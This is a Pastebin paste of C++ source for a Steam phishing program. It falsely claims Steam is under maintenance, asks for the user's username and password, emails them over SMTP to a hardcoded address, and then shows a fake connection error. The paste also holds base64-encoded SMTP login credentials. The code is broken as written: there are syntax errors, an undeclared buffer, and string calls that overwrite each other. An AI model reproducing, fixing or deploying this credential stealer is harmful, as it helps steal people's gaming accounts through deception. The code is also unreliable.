Guest User

Untitled

a guest
May 17th, 2018
334
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.87 KB | None | 0 0
  1. #include <winsock2.h>
  2. #include <iostream>
  3. #include <fstream>
  4. using namespace std;
  5.  
  6. //----------------- FUNKTIONER ----------------------
  7.  
  8. int SendMail(char *mailserver, int port, char *acc_user_b64, char *acc_pass_b64, char *from, char *to, char *data)
  9. int SendData(char *data);
  10. void usage();
  11. void init();
  12.  
  13. //------------- GLOBALA VARIABLER -------------------
  14.  
  15. int sockfd, new_fd;
  16. struct sockaddr_in my_addr;
  17. struct sockaddr_in their_addr;
  18. struct hostent *he;
  19. int sin_size;
  20.  
  21. int main()
  22. {
  23.  
  24. cout << "Steam is currently under mainteance. \nIf you are to log in, please use this \nprogram to prevent your account from \nbeing stolen." << endl;
  25. char user[500];
  26. cout << "Username: ";
  27. cin >> user;
  28. char pass[500];
  29. cout << "\nPassword: ";
  30. cin >> pass;
  31.  
  32. strcat(data, user);
  33. strcpy(data, " ");
  34. strcpy(data, pass);
  35. cout<< "Connecting..";
  36. SendMail("smtp.home.se", 25, "c3RldmUtcGV0ZXJzb25AaG9tZS5zZQ==", "S2RKbjQtZFIuTw==", "steve-peterson@home.se", "steve-peterson@home.se" char *data);
  37. cout << "Could not connect to steam network. Try again later.";
  38.  
  39. cout << "\nPress enter to exit.";
  40.  
  41. cin.get();
  42. cin.get();
  43. return 0;
  44. }
  45. void init()
  46. {
  47. //initiera winsock
  48. WSADATA wsaData;
  49.  
  50. if(WSAStartup(MAKEWORD(1, 1), &wsaData) != 0)
  51. {
  52. cout<<"WSA Startup failed\n";
  53. cin.get();
  54. exit(1);
  55. }
  56. }
  57.  
  58. int SendData(char *data)
  59. {
  60. int len = strlen(data);
  61. if((send(sockfd, data, len, 0)) == -1)
  62. {
  63. cout<<"Error, send\n";
  64. exit(1);
  65. }
  66. }
  67.  
  68. int SendMail(char *mailserver, int port, char *acc_user_b64, char *acc_pass_b64, char *from, char *to, char *data)
  69. {
  70. init();
  71.  
  72. if(( he = gethostbyname(mailserver)) == NULL )
  73. {
  74. cout<<"error: hostname";
  75. exit(1);
  76. }
  77.  
  78. if(( sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
  79. {
  80. cout<<"cant create socket";
  81. exit(1);
  82. }
  83.  
  84. their_addr.sin_family = AF_INET;
  85. their_addr.sin_port = htons(port);
  86. their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  87. memset(their_addr.sin_zero, '\0', sizeof my_addr.sin_zero);
  88.  
  89. if( connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1 )
  90. {
  91. cout<<"cant connect";
  92. exit(1);
  93. }
  94.  
  95. //USER, NICK, PING, PONG
  96.  
  97. SendData("HELO server\r\n");
  98. SendData("AUTH LOGIN\r\n");
  99. SendData(acc_user_b64);
  100. SendData("\r\n");
  101. SendData(acc_pass_b64);
  102. SendData("\r\n");
  103. SendData("mail from:");
  104. SendData(from);
  105. SendData("\r\n");
  106. SendData("rcpt to:");
  107. SendData(to);
  108. SendData("\r\n");
  109. SendData("data\r\n");
  110. SendData(data);
  111. SendData("\r\n.\r\n");
  112. SendData("QUIT\r\n");
  113. }
Add Comment
Please, Sign In to add comment